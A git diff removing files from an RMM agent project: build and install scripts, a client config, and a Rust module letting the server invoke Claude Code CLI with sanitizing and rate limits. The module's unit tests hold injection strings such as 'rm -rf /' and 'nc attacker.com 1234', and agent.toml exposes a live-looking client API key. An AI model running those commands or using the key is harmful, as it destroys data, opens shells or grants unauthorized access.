b/projects/msp-tools/guru-rmm/agent/build-macos.sh deleted file mode 100755 index de764f3..0000000 --- a/projects/msp-tools/guru-rmm/agent/build-macos.sh +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/bash -set -e - -# Build script for GuruRMM agent - macOS only -# Supports: macOS (Intel & Apple Silicon) - -echo "=== GuruRMM Agent macOS Build ===" -echo "" - -# Add osxcross to PATH -export PATH="/opt/osxcross/target/bin:$PATH" - -# Source cargo environment -source ~/.cargo/env - -# Set up cross-compilation environment variables for macOS -export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang -export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar -export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang -export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar - -# Output directory -OUTPUT_DIR="$(dirname "$0")/dist" - -# Create output directory -mkdir -p "$OUTPUT_DIR" - -# Get version from Cargo.toml -VERSION=$(grep '^version' Cargo.toml | head -1 | cut -d'"' -f2) -echo "Building GuruRMM Agent v$VERSION for macOS" -echo "" - -# Function to build for a target -build_target() { - local target=$1 - local name=$2 - local ext=$3 - - echo "[INFO] Building for $name ($target)..." - cargo build --release --target $target - - local binary_name="gururmm-agent$ext" - local output_name="gururmm-agent-$name-v$VERSION$ext" - - cp "target/$target/release/$binary_name" "$OUTPUT_DIR/$output_name" - - # Create SHA256 checksum - cd "$OUTPUT_DIR" - sha256sum "$output_name" > "$output_name.sha256" - cd - > /dev/null - - # Get file size - local size=$(du -h "$OUTPUT_DIR/$output_name" | cut -f1) - echo "[SUCCESS] Built $output_name ($size)" - echo "" -} - -# Build for macOS platforms -echo "=== Building for macOS (Intel) ===" -build_target "x86_64-apple-darwin" "macos-amd64" "" - -echo "=== Building for macOS (Apple Silicon) ===" -build_target "aarch64-apple-darwin" "macos-arm64" "" - -echo "" -echo "=== Build Complete ===" -echo "" -echo "Artifacts in: $OUTPUT_DIR" -ls -lh "$OUTPUT_DIR" - diff --git a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/agent.toml b/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/agent.toml deleted file mode 100644 index 77a5501..0000000 --- a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/agent.toml +++ /dev/null @@ -1,42 +0,0 @@ -# GuruRMM Agent Configuration -# Client: Glaztech Industries -# Site: SLC - Salt Lake City -# Site Code: DARK-GROVE-7839 - -[server] -# WebSocket URL for the GuruRMM server -url = "wss://rmm-api.azcomputerguru.com/ws" - -# API key for this site -api_key = "grmm_Qw64eawPBjnMdwN5UmDGWoPlqwvjM7lI" - -[metrics] -# Interval between metrics reports (in seconds) -interval_seconds = 60 - -# Enable/disable specific metric types -collect_cpu = true -collect_memory = true -collect_disk = true -collect_network = true - -[watchdog] -# Enable service/process monitoring -enabled = true - -# Interval between watchdog checks (in seconds) -check_interval_seconds = 30 - -# Datto RMM Agent Service -[[watchdog.services]] -name = "CagService" -action = "restart" -max_restarts = 3 -restart_cooldown_seconds = 60 - -# Syncro Agent Service -[[watchdog.services]] -name = "Syncro" -action = "restart" -max_restarts = 3 -restart_cooldown_seconds = 60 diff --git a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/install.ps1 b/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/install.ps1 deleted file mode 100644 index 38e9f6a..0000000 --- a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/install.ps1 +++ /dev/null @@ -1,199 +0,0 @@ -# GuruRMM Agent Installer -# Client: Glaztech Industries -# Site: SLC - Salt Lake City -# Compatible with: Windows 7 SP1+ / PowerShell 2.0+ - -$ErrorActionPreference = "Stop" - -# Get script directory (works on all PowerShell versions including 2.0) -$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Definition -if (-not $ScriptDir) { $ScriptDir = (Get-Location).Path } - -$InstallPath = "C:\Program Files\GuruRMM" -$ConfigPath = "C:\ProgramData\GuruRMM" -$ServiceName = "GuruRMMAgent" - -Write-Host "GuruRMM Agent Installer" -ForegroundColor Cyan -Write-Host "========================" -ForegroundColor Cyan -Write-Host "Client: Glaztech Industries" -Write-Host "Site: SLC - Salt Lake City" -Write-Host "" - -# Check for admin privileges -$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") -if (-not $isAdmin) { - Write-Host "ERROR: Please run as Administrator" -ForegroundColor Red - Write-Host "Right-click PowerShell and select 'Run as Administrator'" - exit 1 -} - -# Check Windows version -$osVersion = [Environment]::OSVersion.Version -Write-Host "Detected Windows version: $($osVersion.Major).$($osVersion.Minor)" -ForegroundColor Gray -if ($osVersion.Major -lt 6 -or ($osVersion.Major -eq 6 -and $osVersion.Minor -lt 1)) { - Write-Host "ERROR: Windows 7 SP1 or later is required" -ForegroundColor Red - exit 1 -} - -# Enable TLS 1.2 on Windows 7/8/8.1 if needed (required for secure connections) -# Windows 10+ has TLS 1.2 enabled by default -if ($osVersion.Major -eq 6) { - Write-Host "Checking TLS 1.2 support..." -ForegroundColor Gray - - $tls12Path = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2" - $tls12ClientPath = "$tls12Path\Client" - $needsReboot = $false - - # Check if TLS 1.2 Client key exists and is enabled - $tls12Enabled = $false - try { - if (Test-Path $tls12ClientPath) { - $enabled = Get-ItemProperty -Path $tls12ClientPath -Name "Enabled" -ErrorAction SilentlyContinue - $disabled = Get-ItemProperty -Path $tls12ClientPath -Name "DisabledByDefault" -ErrorAction SilentlyContinue - if ($enabled.Enabled -eq 1 -and $disabled.DisabledByDefault -eq 0) { - $tls12Enabled = $true - } - } - } catch {} - - if (-not $tls12Enabled) { - Write-Host "Enabling TLS 1.2 for secure connections..." -ForegroundColor Yellow - - # Create protocol keys if they don't exist - if (-not (Test-Path $tls12Path)) { - New-Item -Path $tls12Path -Force | Out-Null - } - if (-not (Test-Path $tls12ClientPath)) { - New-Item -Path $tls12ClientPath -Force | Out-Null - } - - # Enable TLS 1.2 for client connections - New-ItemProperty -Path $tls12ClientPath -Name "Enabled" -Value 1 -PropertyType DWORD -Force | Out-Null - New-ItemProperty -Path $tls12ClientPath -Name "DisabledByDefault" -Value 0 -PropertyType DWORD -Force | Out-Null - - # Also create Server keys for completeness - $tls12ServerPath = "$tls12Path\Server" - if (-not (Test-Path $tls12ServerPath)) { - New-Item -Path $tls12ServerPath -Force | Out-Null - } - New-ItemProperty -Path $tls12ServerPath -Name "Enabled" -Value 1 -PropertyType DWORD -Force | Out-Null - New-ItemProperty -Path $tls12ServerPath -Name "DisabledByDefault" -Value 0 -PropertyType DWORD -Force | Out-Null - - # Enable TLS 1.2 in WinHTTP (for .NET and other apps) - $winHttpPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp" - try { - if (-not (Test-Path $winHttpPath)) { - New-Item -Path $winHttpPath -Force | Out-Null - } - # 0x800 = TLS 1.2 - New-ItemProperty -Path $winHttpPath -Name "DefaultSecureProtocols" -Value 0x800 -PropertyType DWORD -Force | Out-Null - } catch {} - - # Also for 64-bit on 32-bit keys - $winHttp64Path = "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp" - try { - if (Test-Path "HKLM:\SOFTWARE\Wow6432Node") { - if (-not (Test-Path $winHttp64Path)) { - New-Item -Path $winHttp64Path -Force | Out-Null - } - New-ItemProperty -Path $winHttp64Path -Name "DefaultSecureProtocols" -Value 0x800 -PropertyType DWORD -Force | Out-Null - } - } catch {} - - Write-Host " TLS 1.2 enabled successfully" -ForegroundColor Green - $needsReboot = $true - } else { - Write-Host " TLS 1.2 already enabled" -ForegroundColor Gray - } - - if ($needsReboot) { - Write-Host " NOTE: A reboot may be required for TLS changes to take effect" -ForegroundColor Yellow - } -} - -# Stop existing service if running -$service = $null -try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {} -if ($service) { - Write-Host "Stopping existing service..." -ForegroundColor Yellow - try { Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue } catch {} - Start-Sleep -Seconds 3 -} - -# Create install directory -Write-Host "Creating install directory: $InstallPath" -ForegroundColor Green -if (-not (Test-Path $InstallPath)) { - New-Item -ItemType Directory -Path $InstallPath -Force | Out-Null -} - -# Create config directory -Write-Host "Creating config directory: $ConfigPath" -ForegroundColor Green -if (-not (Test-Path $ConfigPath)) { - New-Item -ItemType Directory -Path $ConfigPath -Force | Out-Null -} - -# Verify source files exist -if (-not (Test-Path "$ScriptDir\gururmm-agent.exe")) { - Write-Host "ERROR: gururmm-agent.exe not found in $ScriptDir" -ForegroundColor Red - exit 1 -} -if (-not (Test-Path "$ScriptDir\agent.toml")) { - Write-Host "ERROR: agent.toml not found in $ScriptDir" -ForegroundColor Red - exit 1 -} - -# Copy files -Write-Host "Copying agent files..." -ForegroundColor Green -Write-Host " Source: $ScriptDir" -ForegroundColor Gray -Copy-Item -Path "$ScriptDir\gururmm-agent.exe" -Destination "$InstallPath\gururmm-agent.exe" -Force -Copy-Item -Path "$ScriptDir\agent.toml" -Destination "$ConfigPath\agent.toml" -Force - -Write-Host " Binary: $InstallPath\gururmm-agent.exe" -ForegroundColor Gray -Write-Host " Config: $ConfigPath\agent.toml" -ForegroundColor Gray - -# Install Windows service -Write-Host "Installing Windows service..." -ForegroundColor Green -$installResult = & "$InstallPath\gururmm-agent.exe" install 2>&1 -if ($LASTEXITCODE -ne 0) { - Write-Host "Service installation output:" -ForegroundColor Yellow - Write-Host $installResult -} - -# Wait for service to register -Start-Sleep -Seconds 2 - -# Start the service -Write-Host "Starting service..." -ForegroundColor Green -$startResult = & "$InstallPath\gururmm-agent.exe" start 2>&1 -if ($LASTEXITCODE -ne 0) { - Write-Host "Service start output:" -ForegroundColor Yellow - Write-Host $startResult -} - -# Verify service status -Start-Sleep -Seconds 3 -$service = $null -try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {} - -if ($service -and $service.Status -eq "Running") { - Write-Host "" - Write-Host "========================================" -ForegroundColor Green - Write-Host "SUCCESS: GuruRMM Agent installed and running!" -ForegroundColor Green - Write-Host "========================================" -ForegroundColor Green - Write-Host "" - Write-Host "Site Code: DARK-GROVE-7839" -ForegroundColor Cyan - Write-Host "" - Write-Host "Useful commands:" -ForegroundColor White - Write-Host " Status: $InstallPath\gururmm-agent.exe status" - Write-Host " Stop: $InstallPath\gururmm-agent.exe stop" - Write-Host " Start: $InstallPath\gururmm-agent.exe start" - Write-Host " Uninstall: $InstallPath\gururmm-agent.exe uninstall" -} elseif ($service) { - Write-Host "" - Write-Host "WARNING: Service installed but status is: $($service.Status)" -ForegroundColor Yellow - Write-Host "Check logs in Event Viewer > Windows Logs > Application" -} else { - Write-Host "" - Write-Host "WARNING: Service may not have installed correctly" -ForegroundColor Yellow - Write-Host "Try running manually: $InstallPath\gururmm-agent.exe status" -} diff --git a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/uninstall.ps1 b/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/uninstall.ps1 deleted file mode 100644 index aeae750..0000000 --- a/projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/uninstall.ps1 +++ /dev/null @@ -1,84 +0,0 @@ -# GuruRMM Agent Uninstaller -# Compatible with: Windows 7 SP1+ / PowerShell 2.0+ - -$ErrorActionPreference = "Stop" - -$InstallPath = "C:\Program Files\GuruRMM" -$ConfigPath = "C:\ProgramData\GuruRMM" -$ServiceName = "GuruRMMAgent" - -Write-Host "GuruRMM Agent Uninstaller" -ForegroundColor Cyan -Write-Host "==========================" -ForegroundColor Cyan -Write-Host "" - -# Check for admin privileges -$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") -if (-not $isAdmin) { - Write-Host "ERROR: Please run as Administrator" -ForegroundColor Red - Write-Host "Right-click PowerShell and select 'Run as Administrator'" - exit 1 -} - -# Check if agent executable exists -$agentExe = "$InstallPath\gururmm-agent.exe" - -if (Test-Path $agentExe) { - # Use the agent's built-in uninstall command - Write-Host "Running agent uninstall..." -ForegroundColor Yellow - $uninstallResult = & $agentExe uninstall 2>&1 - Write-Host $uninstallResult - Start-Sleep -Seconds 3 -} else { - # Manual cleanup if agent exe is missing - Write-Host "Agent executable not found, performing manual cleanup..." -ForegroundColor Yellow - - # Try to stop and remove service manually - $service = $null - try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {} - if ($service) { - Write-Host "Stopping service..." -ForegroundColor Yellow - try { Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue } catch {} - Start-Sleep -Seconds 2 - - Write-Host "Removing service..." -ForegroundColor Yellow - $scResult = & sc.exe delete $ServiceName 2>&1 - Write-Host $scResult - Start-Sleep -Seconds 2 - } -} - -# Remove install directory -if (Test-Path $InstallPath) { - Write-Host "Removing install directory: $InstallPath" -ForegroundColor Yellow - try { - Remove-Item -Path $InstallPath -Recurse -Force -ErrorAction Stop - Write-Host " Removed successfully" -ForegroundColor Gray - } catch { - Write-Host " WARNING: Could not remove (files may be in use)" -ForegroundColor Yellow - Write-Host " Try again after reboot or manually delete: $InstallPath" - } -} - -# Ask about config directory -if (Test-Path $ConfigPath) { - Write-Host "" - Write-Host "Config directory exists: $ConfigPath" -ForegroundColor Yellow - Write-Host "This contains your agent configuration (agent.toml)." - Write-Host "" - $response = Read-Host "Remove config directory? (y/N)" - if ($response -eq "y" -or $response -eq "Y") { - try { - Remove-Item -Path $ConfigPath -Recurse -Force -ErrorAction Stop - Write-Host "Config directory removed" -ForegroundColor Gray - } catch { - Write-Host "WARNING: Could not remove config directory" -ForegroundColor Yellow - } - } else { - Write-Host "Config directory preserved at: $ConfigPath" -ForegroundColor Gray - } -} - -Write-Host "" -Write-Host "========================================" -ForegroundColor Green -Write-Host "GuruRMM Agent uninstalled successfully!" -ForegroundColor Green -Write-Host "========================================" -ForegroundColor Green diff --git a/projects/msp-tools/guru-rmm/agent/scripts/install.sh b/projects/msp-tools/guru-rmm/agent/scripts/install.sh deleted file mode 100644 index d93eebb..0000000 --- a/projects/msp-tools/guru-rmm/agent/scripts/install.sh +++ /dev/null @@ -1,233 +0,0 @@ -#!/bin/bash -# -# GuruRMM Agent Installer -# -# Usage: -# curl -fsSL https://rmm.azcomputerguru.com/install.sh | sudo bash -s -- --api-key YOUR_KEY -# -# Or download and run locally: -# ./install.sh --server-url wss://rmm-api.example.com/ws --api-key YOUR_KEY -# - -set -e - -# Colors for output -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[1;33m' -NC='\033[0m' # No Color - -# Default values -DOWNLOAD_URL="${GURURMM_DOWNLOAD_URL:-https://rmm.azcomputerguru.com/downloads/gururmm-agent-linux-amd64}" -SERVER_URL="" -API_KEY="" -SKIP_LEGACY_CHECK="" -TMP_DIR="" - -# Cleanup function -cleanup() { - if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then - rm -rf "$TMP_DIR" - fi -} - -trap cleanup EXIT - -# Print colored message -info() { - echo -e "${GREEN}[INFO]${NC} $1" -} - -warn() { - echo -e "${YELLOW}[WARN]${NC} $1" -} - -error() { - echo -e "${RED}[ERROR]${NC} $1" - exit 1 -} - -# Show usage -usage() { - cat < /dev/null; then - missing="$missing $cmd" - fi - done - - if [ -n "$missing" ]; then - error "Missing required commands:$missing" - fi -} - -# Download the agent binary -download_agent() { - local platform="$1" - local dest="$2" - - # Adjust download URL for platform if not overridden - local url="$DOWNLOAD_URL" - if [[ "$DOWNLOAD_URL" == *"linux-amd64"* ]]; then - url="${DOWNLOAD_URL/linux-amd64/$platform}" - fi - - info "Downloading agent from: $url" - - if ! curl -fsSL -o "$dest" "$url"; then - error "Failed to download agent binary" - fi - - chmod +x "$dest" - info "Downloaded to: $dest" -} - -# Main installation -main() { - info "GuruRMM Agent Installer" - info "======================" - - check_dependencies - - local platform - platform=$(detect_platform) - info "Detected platform: $platform" - - # Create temp directory - TMP_DIR=$(mktemp -d) - local agent_binary="$TMP_DIR/gururmm-agent" - - # Download the agent - download_agent "$platform" "$agent_binary" - - # Build install command - local install_cmd="$agent_binary install" - - if [ -n "$SERVER_URL" ]; then - install_cmd="$install_cmd --server-url \"$SERVER_URL\"" - fi - - install_cmd="$install_cmd --api-key \"$API_KEY\"" - - if [ -n "$SKIP_LEGACY_CHECK" ]; then - install_cmd="$install_cmd $SKIP_LEGACY_CHECK" - fi - - info "Running installation..." - - # Execute install command - eval "$install_cmd" - - info "" - info "Installation complete!" - info "" - info "Check agent status with:" - info " sudo systemctl status gururmm-agent" - info "" - info "View logs with:" - info " sudo journalctl -u gururmm-agent -f" -} - -main "$@" diff --git a/projects/msp-tools/guru-rmm/agent/src/claude.rs b/projects/msp-tools/guru-rmm/agent/src/claude.rs deleted file mode 100644 index 0b5ae0d..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/claude.rs +++ /dev/null @@ -1,452 +0,0 @@ -// GuruRMM Agent - Claude Code Integration Module -// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks -// -// Security Features: -// - Working directory validation (restricted to C:\Shares\test) -// - Task input sanitization (prevents command injection) -// - Rate limiting (max 10 tasks per hour) -// - Concurrent execution limiting (max 2 simultaneous tasks) - -use serde::{Deserialize, Serialize}; -use std::path::{Path, PathBuf}; -use std::process::Stdio; -use std::sync::{Arc, Mutex}; -use std::time::{Duration, Instant}; -use tokio::io::{AsyncBufReadExt, BufReader}; -use tokio::process::Command; -use tokio::time::timeout; - -/// Configuration constants -const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test"; -const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes -const MAX_CONCURRENT_TASKS: usize = 2; -const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour -const MAX_TASKS_PER_WINDOW: usize = 10; - -/// Claude task command input structure -#[derive(Debug, Deserialize)] -pub struct ClaudeTaskCommand { - pub task: String, - pub working_directory: Option, - pub timeout: Option, - pub context_files: Option>, -} - -/// Claude task execution result -#[derive(Debug, Serialize)] -pub struct ClaudeTaskResult { - pub status: TaskStatus, - pub output: Option, - pub error: Option, - pub duration_seconds: u64, - pub files_analyzed: Vec, -} - -/// Task execution status -#[derive(Debug, Serialize)] -#[serde(rename_all = "lowercase")] -pub enum TaskStatus { - Completed, - Failed, - Timeout, -} - -/// Rate limiting tracker -struct RateLimiter { - task_timestamps: Vec, -} - -impl RateLimiter { - fn new() -> Self { - RateLimiter { - task_timestamps: Vec::new(), - } - } - - /// Check if a new task can be executed within rate limits - fn can_execute(&mut self) -> bool { - let now = Instant::now(); - let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS); - - // Remove timestamps outside the current window - self.task_timestamps.retain(|&ts| ts > window_start); - - self.task_timestamps.len() < MAX_TASKS_PER_WINDOW - } - - /// Record a task execution - fn record_execution(&mut self) { - self.task_timestamps.push(Instant::now()); - } -} - -/// Global state for concurrent execution tracking and rate limiting -pub struct ClaudeExecutor { - active_tasks: Arc>, - rate_limiter: Arc>, -} - -impl ClaudeExecutor { - pub fn new() -> Self { - ClaudeExecutor { - active_tasks: Arc::new(Mutex::new(0)), - rate_limiter: Arc::new(Mutex::new(RateLimiter::new())), - } - } - - /// Execute a Claude Code task - pub async fn execute_task( - &self, - cmd: ClaudeTaskCommand, - ) -> Result { - // Check rate limiting - { - let mut limiter = self.rate_limiter.lock().map_err(|e| { - format!("[ERROR] Failed to acquire rate limiter lock: {}", e) - })?; - - if !limiter.can_execute() { - return Err(format!( - "[ERROR] Rate limit exceeded: Maximum {} tasks per hour", - MAX_TASKS_PER_WINDOW - )); - } - limiter.record_execution(); - } - - // Check concurrent execution limit - { - let active = self.active_tasks.lock().map_err(|e| { - format!("[ERROR] Failed to acquire active tasks lock: {}", e) - })?; - - if *active >= MAX_CONCURRENT_TASKS { - return Err(format!( - "[ERROR] Concurrent task limit exceeded: Maximum {} tasks", - MAX_CONCURRENT_TASKS - )); - } - } - - // Increment active task count - { - let mut active = self.active_tasks.lock().map_err(|e| { - format!("[ERROR] Failed to increment active tasks: {}", e) - })?; - *active += 1; - } - - // Execute the task (ensure active count is decremented on completion) - let result = self.execute_task_internal(cmd).await; - - // Decrement active task count - { - let mut active = self.active_tasks.lock().map_err(|e| { - format!("[ERROR] Failed to decrement active tasks: {}", e) - })?; - *active = active.saturating_sub(1); - } - - result - } - - /// Internal task execution implementation - async fn execute_task_internal( - &self, - cmd: ClaudeTaskCommand, - ) -> Result { - let start_time = Instant::now(); - - // Validate and resolve working directory - let working_dir = cmd - .working_directory - .as_deref() - .unwrap_or(DEFAULT_WORKING_DIR); - validate_working_directory(working_dir)?; - - // Sanitize task input - let sanitized_task = sanitize_task_input(&cmd.task)?; - - // Resolve context files (validate they exist relative to working_dir) - let context_files = match &cmd.context_files { - Some(files) => validate_context_files(working_dir, files)?, - None => Vec::new(), - }; - - // Build Claude Code CLI command - let mut cli_cmd = Command::new("claude"); - cli_cmd.current_dir(working_dir); - - // Add context files if provided - for file in &context_files { - cli_cmd.arg("--file").arg(file); - } - - // Add the task prompt (using --print for non-interactive execution) - cli_cmd.arg("--print").arg(&sanitized_task); - - // Configure process pipes - cli_cmd - .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .kill_on_drop(true); - - // Execute with timeout - let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS)); - let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await; - - let duration = start_time.elapsed().as_secs(); - - // Process execution result - match exec_result { - Ok(Ok((stdout, stderr, exit_code))) => { - if exit_code == 0 { - Ok(ClaudeTaskResult { - status: TaskStatus::Completed, - output: Some(stdout), - error: None, - duration_seconds: duration, - files_analyzed: context_files, - }) - } else { - Ok(ClaudeTaskResult { - status: TaskStatus::Failed, - output: Some(stdout), - error: Some(format!( - "[ERROR] Claude Code exited with code {}: {}", - exit_code, stderr - )), - duration_seconds: duration, - files_analyzed: context_files, - }) - } - } - Ok(Err(e)) => Ok(ClaudeTaskResult { - status: TaskStatus::Failed, - output: None, - error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)), - duration_seconds: duration, - files_analyzed: context_files, - }), - Err(_) => Ok(ClaudeTaskResult { - status: TaskStatus::Timeout, - output: None, - error: Some(format!( - "[ERROR] Claude Code execution timed out after {} seconds", - timeout_duration.as_secs() - )), - duration_seconds: duration, - files_analyzed: context_files, - }), - } - } -} - -/// Validate that working directory is within allowed paths -fn validate_working_directory(working_dir: &str) -> Result<(), String> { - let allowed_base = Path::new(r"C:\Shares\test"); - let requested_path = Path::new(working_dir); - - // Convert to canonical paths (resolve .. and symlinks) - let canonical_requested = requested_path - .canonicalize() - .map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?; - - let canonical_base = allowed_base.canonicalize().map_err(|e| { - format!( - "[ERROR] Failed to resolve allowed base directory: {}", - e - ) - })?; - - // Check if requested path is within allowed base - if !canonical_requested.starts_with(&canonical_base) { - return Err(format!( - "[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'", - working_dir - )); - } - - // Verify directory exists - if !canonical_requested.is_dir() { - return Err(format!( - "[ERROR] Working directory '{}' does not exist or is not a directory", - working_dir - )); - } - - Ok(()) -} - -/// Sanitize task input to prevent command injection -fn sanitize_task_input(task: &str) -> Result { - // Check for empty task - if task.trim().is_empty() { - return Err("[ERROR] Task cannot be empty".to_string()); - } - - // Check for excessively long tasks (potential DoS) - if task.len() > 10000 { - return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string()); - } - - // Check for potentially dangerous patterns - let dangerous_patterns = [ - "&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r", - ]; - for pattern in &dangerous_patterns { - if task.contains(pattern) { - return Err(format!( - "[ERROR] Task contains forbidden character '{}' that could be used for command injection", - pattern - )); - } - } - - Ok(task.to_string()) -} - -/// Validate context files exist and are within working directory -fn validate_context_files(working_dir: &str, files: &[String]) -> Result, String> { - let working_path = Path::new(working_dir); - let mut validated_files = Vec::new(); - - for file in files { - // Resolve file path relative to working directory - let file_path = if Path::new(file).is_absolute() { - PathBuf::from(file) - } else { - working_path.join(file) - }; - - // Verify file exists - if !file_path.exists() { - return Err(format!( - "[ERROR] Context file '{}' does not exist", - file_path.display() - )); - } - - // Verify it's a file (not a directory) - if !file_path.is_file() { - return Err(format!( - "[ERROR] Context file '{}' is not a file", - file_path.display() - )); - } - - // Store the absolute path for execution - validated_files.push( - file_path - .to_str() - .ok_or_else(|| { - format!( - "[ERROR] Context file path '{}' contains invalid UTF-8", - file_path.display() - ) - })? - .to_string(), - ); - } - - Ok(validated_files) -} - -/// Execute command and capture stdout, stderr, and exit code -async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> { - let mut child = cmd - .spawn() - .map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?; - - // Capture stdout - let stdout_handle = child.stdout.take().ok_or_else(|| { - "[ERROR] Failed to capture stdout from Claude Code process".to_string() - })?; - let mut stdout_reader = BufReader::new(stdout_handle).lines(); - - // Capture stderr - let stderr_handle = child.stderr.take().ok_or_else(|| { - "[ERROR] Failed to capture stderr from Claude Code process".to_string() - })?; - let mut stderr_reader = BufReader::new(stderr_handle).lines(); - - // Read stdout - let stdout_task = tokio::spawn(async move { - let mut lines = Vec::new(); - while let Ok(Some(line)) = stdout_reader.next_line().await { - lines.push(line); - } - lines - }); - - // Read stderr - let stderr_task = tokio::spawn(async move { - let mut lines = Vec::new(); - while let Ok(Some(line)) = stderr_reader.next_line().await { - lines.push(line); - } - lines - }); - - // Wait for process to complete - let status = child - .wait() - .await - .map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?; - - // Wait for output reading tasks - let stdout_lines = stdout_task - .await - .map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?; - let stderr_lines = stderr_task - .await - .map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?; - - let stdout = stdout_lines.join("\n"); - let stderr = stderr_lines.join("\n"); - let exit_code = status.code().unwrap_or(-1); - - Ok((stdout, stderr, exit_code)) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_sanitize_task_input_valid() { - let task = "Check the sync log for errors in last 24 hours"; - assert!(sanitize_task_input(task).is_ok()); - } - - #[test] - fn test_sanitize_task_input_empty() { - assert!(sanitize_task_input("").is_err()); - assert!(sanitize_task_input(" ").is_err()); - } - - #[test] - fn test_sanitize_task_input_injection() { - assert!(sanitize_task_input("task; rm -rf /").is_err()); - assert!(sanitize_task_input("task && echo malicious").is_err()); - assert!(sanitize_task_input("task | nc attacker.com 1234").is_err()); - assert!(sanitize_task_input("task `whoami`").is_err()); - assert!(sanitize_task_input("task $(malicious)").is_err()); - } - - #[test] - fn test_sanitize_task_input_too_long() { - let long_task = "a".repeat(10001); - assert!(sanitize_task_input(&long_task).is_err()); - } - - #[test] - fn test_rate_limiter_allows_under_limit() { - let mut limiter = RateLimiter::new(); - for _ in 0..MAX_TASKS_PER_WINDOW { - assert!(limiter.can_execute()); - limiter.record_execution(); - } - assert!(!limiter.can_execute()); - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/commands/mod.rs b/projects/msp-tools/guru-rmm/agent/src/commands/mod.rs deleted file mode 100644 index 28184e4..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/commands/mod.rs +++ /dev/null @@ -1,11 +0,0 @@ -//! Remote command execution module -//! -//! Handles execution of commands received from the server. -//! Command execution is currently handled inline in transport/websocket.rs -//! This module will be expanded with additional features in Phase 2. - -// Future additions: -// - Command queue for offline execution -// - Script caching -// - Elevated execution handling -// - Command result streaming diff --git a/projects/msp-tools/guru-rmm/agent/src/config.rs b/projects/msp-tools/guru-rmm/agent/src/config.rs deleted file mode 100644 index fb8c00f..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/config.rs +++ /dev/null @@ -1,290 +0,0 @@ -//! Agent configuration handling -//! -//! Configuration is loaded from a TOML file (default: agent.toml). -//! The config file defines server connection, metrics collection, -//! and watchdog settings. - -use anyhow::{Context, Result}; -use serde::{Deserialize, Serialize}; -use std::path::Path; - -/// Root configuration structure -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct AgentConfig { - /// Server connection settings - pub server: ServerConfig, - - /// Metrics collection settings - #[serde(default)] - pub metrics: MetricsConfig, - - /// Watchdog settings for monitoring services/processes - #[serde(default)] - pub watchdog: WatchdogConfig, -} - -/// Server connection configuration -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ServerConfig { - /// WebSocket URL for the GuruRMM server (e.g., wss://rmm.example.com/ws) - pub url: String, - - /// API key for authentication (obtained from server during registration) - pub api_key: String, - - /// Optional custom hostname to report (defaults to system hostname) - pub hostname_override: Option, -} - -/// Metrics collection configuration -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct MetricsConfig { - /// Interval in seconds between metrics collection (default: 60) - #[serde(default = "default_metrics_interval")] - pub interval_seconds: u64, - - /// Whether to collect CPU metrics - #[serde(default = "default_true")] - pub collect_cpu: bool, - - /// Whether to collect memory metrics - #[serde(default = "default_true")] - pub collect_memory: bool, - - /// Whether to collect disk metrics - #[serde(default = "default_true")] - pub collect_disk: bool, - - /// Whether to collect network metrics - #[serde(default = "default_true")] - pub collect_network: bool, -} - -impl Default for MetricsConfig { - fn default() -> Self { - Self { - interval_seconds: 60, - collect_cpu: true, - collect_memory: true, - collect_disk: true, - 